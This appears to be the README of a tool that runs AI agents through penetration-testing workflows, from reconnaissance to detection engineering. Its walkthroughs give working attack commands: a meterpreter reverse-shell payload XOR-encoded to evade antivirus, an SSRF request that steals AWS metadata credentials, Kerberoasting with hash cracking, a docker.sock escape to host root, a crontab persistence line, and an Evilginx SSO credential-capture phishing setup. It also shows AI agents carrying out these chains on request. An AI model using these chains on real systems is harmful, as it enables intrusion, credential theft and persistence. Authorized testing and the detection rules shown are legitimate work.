curl -fsSL https://raw.githubusercontent.com/0xSteph/pentest-ai-agents/main/install.sh | bash

git clone https://github.com/0xSteph/pentest-ai-agents.git
cd pentest-ai-agents

# Install agents globally for all projects
./install.sh --global

# Or install for current project only
./install.sh --project

# Use Haiku for advisory agents (lower cost)
./install.sh --global --lite

# Also install underlying CLI tools (nmap, nuclei, ffuf, etc.)
./install.sh --tools

Planning & OSINT:
  - engagement-planner: Phased pentest plans with MITRE ATT&CK mappings
  - threat-modeler: STRIDE/DREAD threat modeling
  - opsec-anonymizer: Operator identity hygiene, source IP design
  - osint-collector: Domain recon, email harvesting, social profiling
  - recon-advisor: Parses nmap/nuclei/BloodHound, prioritizes targets

Vulnerability Discovery:
  - vuln-scanner: nuclei, nikto, nmap NSE, RouterSploit orchestration
  - web-hunter: ffuf, gobuster, sqlmap, dalfox, Commix
  - api-security: API testing (GraphQL, REST, gRPC)
  - bizlogic-hunter: Business logic flaws, race conditions, IDOR
  - bug-bounty: Bug bounty workflow optimization
  - llm-redteam: OWASP LLM Top 10, prompt injection, RAG poisoning

Infrastructure Attacks:
  - ad-attacker: BloodHound, Impacket, NetExec, Certipy, Kerberos abuse
  - cloud-security: AWS/Azure/GCP misconfig, SCPs, IAM abuse
  - cicd-redteam: Pipeline exploitation, artifact poisoning
  - container-breakout: Docker/K8s escape, runc/cri-o CVEs, RBAC abuse

Specialized Domains:
  - mobile-pentester: Frida, Objection, jadx, MobSF
  - wireless-pentester: aircrack-ng, hcxtools, bettercap
  - social-engineer: Social engineering campaigns
  - phishing-operator: GoPhish, Evilginx, dnstwist

Post-Exploitation:
  - privesc-advisor: Linux/Windows privilege escalation
  - c2-operator: Sliver/Mythic/Havoc/Cobalt Strike profiles
  - payload-crafter: msfvenom, Donut, custom loaders
  - swarm-orchestrator: Multi-agent attack coordination

Analysis & Reverse Engineering:
  - reverse-engineer: Ghidra, Radare2, Binwalk, dnSpy
  - malware-analyst: Volatility 3, YARA, sandbox analysis
  - forensics-analyst: Incident response, memory/disk analysis
  - ctf-solver: CTF challenge solver (crypto, stego, pwn, web)

Exploit Development:
  - exploit-chainer: Multi-step attack composition
  - attack-planner: Attack graph generation, path optimization
  - poc-validator: Exploit proof-of-concept validation
  - credential-tester: Hydra, Hashcat, credential stuffing

Defense & Reporting:
  - detection-engineer: Sigma, Splunk SPL, Elastic KQL, Sentinel KQL
  - stig-analyst: DISA STIG compliance auditing
  - report-generator: Executive summaries, technical findings, CVSS scoring

"Plan an internal pentest for a 500-endpoint AD environment, 2-week window."
"I have a domain user, where do I look first in BloodHound?"
"Convert this SharpHound EXE into shellcode for an EDR test."
"Run a phishing simulation against acme-corp.com."
"Reverse this firmware image and analyze the crypto protocol."

# Get agent recommendation + concrete next commands
/recommend "phish a small SaaS team's IT department"

# Filter agents by domain
/agents-for web
/agents-for cloud
/agents-for active-directory

# List all agents
/agents

# Audit all tools grouped by agent
bash db/doctor.sh

# Audit specific agent's toolchain
bash db/doctor.sh --agent ad-attacker

# Machine-readable output
bash db/doctor.sh --json

# Initialize new engagement
bash findings.sh init acme-corp-2026

# Add a finding (auto-routed from agent output)
bash findings.sh add --severity critical --title "Domain Admin in Kerberoastable SPN" \
  --description "SVC_SQL account has adminCount=1 and servicePrincipalName set" \
  --cve CVE-2022-12345 --cvss 8.8 --host dc01.acme.local --tool bloodhound

# Show engagement stats
bash findings.sh stats

# Export findings as JSON
bash findings.sh export

# Export as Markdown report
bash findings.sh export --format md

bash handoff.sh

# Anthropic API key (required)
export ANTHROPIC_API_KEY="sk-ant-..."

# Optional: Model overrides
export PENTEST_TIER1_MODEL="claude-3-5-haiku-20241022"  # Advisory agents
export PENTEST_TIER2_MODEL="claude-3-7-sonnet-20250219" # Execution agents

# Optional: Findings database path
export PENTEST_FINDINGS_DB="$HOME/.pentest/findings.db"

# Optional: Tool installation preferences
export PENTEST_PACKAGE_MANAGER="apt"  # apt, brew, pacman, yum

# In Claude Code, declare scope first:
"Engagement scope: 10.10.10.0/24, acme-corp.com, authorized by Jane Doe <jane@acme.com>, 2026-05-01 to 2026-05-15"

# Then request actions:
"Run full port scan on 10.10.10.0/24"
"Enumerate SMB shares on discovered hosts"

# In Claude Code:
"Plan a 2-week external pentest for fintech-startup.io. Assume no prior credentials. Focus on web app, API, and cloud infrastructure."

# Run recon tools (outside Claude):
nmap -sV -sC -oA acme-scan 10.10.10.0/24
nuclei -l hosts.txt -severity critical,high -json -o nuclei.json

# In Claude Code:
"Analyze acme-scan.xml and nuclei.json. Prioritize targets for initial access."

# After obtaining BloodHound JSON:
"I have domain user alice@acme.local. BloodHound data is in ./bloodhound/. Show me paths to Domain Admins and recommend attacks."

"I found SSRF in the /admin/debug endpoint and read /etc/passwd. Next steps to get a shell?"

"Generate a Windows reverse shell payload for 10.10.10.50:443, encode it to evade AV, and convert to shellcode for process injection."

# Stage 1: Generate payload
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.10.50 LPORT=443 -f exe -o payload.exe

# Stage 2: Convert to shellcode with Donut
donut -a 2 -f 1 payload.exe -o payload.bin

# Stage 3: Encode shellcode (XOR + base64)
python3 << 'EOF'
with open('payload.bin', 'rb') as f:
    sc = f.read()
xor_sc = bytes([b ^ 0xAA for b in sc])
import base64
print(base64.b64encode(xor_sc).decode())
EOF

# Stage 4: Inject via process hollowing (C# template provided)

"We just tested Kerberoasting against SVC_SQL. Build Sigma and Splunk detection rules."

# Sigma rule (kerberoasting.yml)
title: Kerberoasting TGS Request
status: experimental
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4769
    TicketOptions: '0x40810000'
    ServiceName|endswith: '$'
  filter:
    ServiceName|startswith: 'krbtgt'
  condition: selection and not filter
falsepositives:
  - Legitimate service account access
level: medium
tags:
  - attack.credential_access
  - attack.t1558.003

# Splunk SPL
index=windows EventCode=4769 Ticket_Options=0x40810000 Service_Name=*$ NOT Service_Name=krbtgt*
| stats count by src_ip, Account_Name, Service_Name
| where count > 5

"Analyze router-firmware.bin and extract the encryption keys."

# Extract filesystem
binwalk -e router-firmware.bin

# Identify architecture
file _router-firmware.bin.extracted/squashfs-root/bin/httpd
# Output: ELF 32-bit LSB MIPS

# Load into Ghidra (headless mode)
analyzeHeadless /tmp/ghidra_project router_fw -import _router-firmware.bin.extracted/squashfs-root/bin/httpd -postScript FindCryptoKeys.java

# Search for hardcoded keys
strings -n 16 httpd | grep -E '^[A-Fa-f0-9]{32,}$'

"Set up a phishing campaign for acme-corp.com employees. Clone their SSO login page and capture credentials with session cookies."

# 1. Register lookalike domain
# Manual: acme-sso.com (or use dnstwist suggestions)
dnstwist acme-corp.com --registered | head -10

# 2. Clone SSO page
wget --mirror --convert-links --adjust-extension --page-requisites --no-parent https://sso.acme-corp.com/login

# 3. Deploy Evilginx
evilginx2 -p ./phishlets
# Configure phishlet for acme-corp SSO (example phishlet config provided)

# 4. Track campaign in GoPhish
# Import targets, attach cloned template, set sending profile

"Solve this CTF crypto challenge: ciphertext is 'Xq3mK9...' and we have a PCAP with TLS handshake."

# Use Haiku for advisory agents (engagement-planner, exploit-guide, detection-engineer)
./install.sh --global --lite

# Or set manually:
export PENTEST_TIER1_MODEL="claude-3-5-haiku-20241022"
export PENTEST_TIER2_MODEL="claude-3-7-sonnet-20250219"

# Instead of pasting full nmap XML into chat:
findings.sh import --file acme-scan.xml

# Agent queries SQLite directly:
SELECT host, port, service, version FROM scan_results WHERE severity='critical';

# Install Ollama
curl -fsSL https://ollama.com/install.sh | sh

# Pull model
ollama pull mixtral:8x7b

# Configure pentest-ai-agents
export PENTEST_LOCAL_MODEL="mixtral:8x7b"
export ANTHROPIC_API_KEY=""  # Disable cloud models

# Vague
"Help with Active Directory"

# Specific
"I have a domain user. Analyze BloodHound data and recommend Kerberoasting attacks."

/recommend "domain user to domain admin in AD environment"

# Audit missing tools
bash db/doctor.sh

# Install missing tools
./install.sh --tools

# Or install specific tool manually:
sudo apt install nmap
pipx install bloodhound

"Engagement scope: 10.10.10.0/24, testlab.local, authorized by Alice <alice@example.com>, 2026-05-01 to 2026-05-31"

# Close any open findings.sh processes
pkill -f findings.sh

# Or use WAL mode (write-ahead logging):
sqlite3 ~/.pentest/findings.db "PRAGMA journal_mode=WAL;"

cd pentest-ai-agents
git pull
./install.sh --global

# Step 1: Plan engagement
# In Claude Code:
"Plan a 2-week external pentest for acme-corp.com. No credentials. Focus on web, API, cloud."

# engagement-planner produces timeline, ROE, tool list

# Step 2: OSINT recon
"Run OSINT on acme-corp.com. Find subdomains, employee emails, leaked credentials."

# osint-collector executes:
subfinder -d acme-corp.com -o subs.txt
amass enum -d acme-corp.com -o amass.txt
theHarvester -d acme-corp.com -b all -f harvest.json
# Searches breach databases (dehashed, etc.)

# Step 3: Vulnerability scanning
"Scan discovered hosts with nuclei for critical/high severity issues."

# vuln-scanner:
nuclei -l live-hosts.txt -severity critical,high -json -o nuclei.json

# Step 4: Prioritize targets
"Analyze nuclei.json. Which hosts are most likely to give initial access?"

# recon-advisor:
# 1. Parses JSON
# 2. Identifies: SSRF in admin panel, outdated WordPress, exposed Git repo
# 3. Recommends: "Target admin.acme-corp.com/debug (SSRF) for cloud metadata access"

# Step 5: Exploit SSRF
"Exploit SSRF at admin.acme-corp.com/debug to access AWS metadata and pivot to S3."

# exploit-chainer:
curl "https://admin.acme-corp.com/debug?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Extracts AWS keys
aws s3 ls --profile stolen-creds
# Finds sensitive data bucket

# Step 6: Build detection
"Build Sigma and Splunk rules to detect SSRF to cloud metadata endpoints."

# detection-engineer:
# Produces Sigma rule + Splunk SPL + AWS CloudTrail query

# Step 7: Report
"Generate executive summary and technical findings report."

# report-generator:
# Outputs Markdown with CVSS scores, remediation steps, attack timeline

# Starting point: domain user alice@corp.local

# Step 1: Enumerate AD
"I have alice@corp.local credentials. Enumerate AD and find paths to Domain Admins."

# ad-attacker:
bloodhound-python -u alice -p 'Password123' -d corp.local -dc dc01.corp.local -c All --zip
# Uploads to BloodHound GUI or parses JSON locally

# Step 2: Identify attack path
"Analyze BloodHound data. What's the shortest path to DA?"

# ad-attacker:
# Finds: alice → MemberOf → IT-Admins → GenericWrite → SVC_SQL → Kerberoastable → DA group

# Step 3: Execute attack chain
"Execute the attack chain: GenericWrite to add SPN, Kerberoast SVC_SQL, crack hash."

# ad-attacker:
# 1. Add SPN to SVC_SQL (GenericWrite abuse)
python3 addspn.py -u alice -p 'Password123' -t SVC_SQL -s HTTP/fake.corp.local corp.local/dc01

# 2. Kerberoast
GetUserSPNs.py corp.local/alice:Password123 -dc-ip dc01.corp.local -request -outputfile tgs.txt

# 3. Crack
hashcat -m 13100 tgs.txt rockyou.txt

# 4. Validate DA access
netexec smb dc01.corp.local -u SVC_SQL -p 'CrackedPassword' --shares

# Step 4: Build detection
"Build detection rules for GenericWrite SPN modification and Kerberoasting."

# detection-engineer:
# Sigma rule for Event ID 4742 (user object modified) + SPN change
# Splunk correlation for 4742 → 4769 (TGS request) within 5 minutes

# Starting point: Shell inside Docker container

# Step 1: Assess container environment
"I have a shell in a Docker container. Assess escape vectors."

# container-breakout:
# Checks: privileged flag, host PID namespace, mounted /var/run/docker.sock, capabilities

# Step 2: Exploit mounted docker.sock
"docker.sock is mounted. Exploit it to escape to host."

# container-breakout:
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host /bin/bash
# Now root on host

# Step 3: Persistence
"Establish persistence on the host as root."

# c2-operator:
# Recommends: cron job, systemd service, SSH key injection
echo "* * * * * root /tmp/.update.sh" >> /host/etc/crontab

# Step 4: Detection
"Build Falco rule to detect docker.sock abuse from containers."

# detection-engineer:
# Falco rule for container process accessing /var/run/docker.sock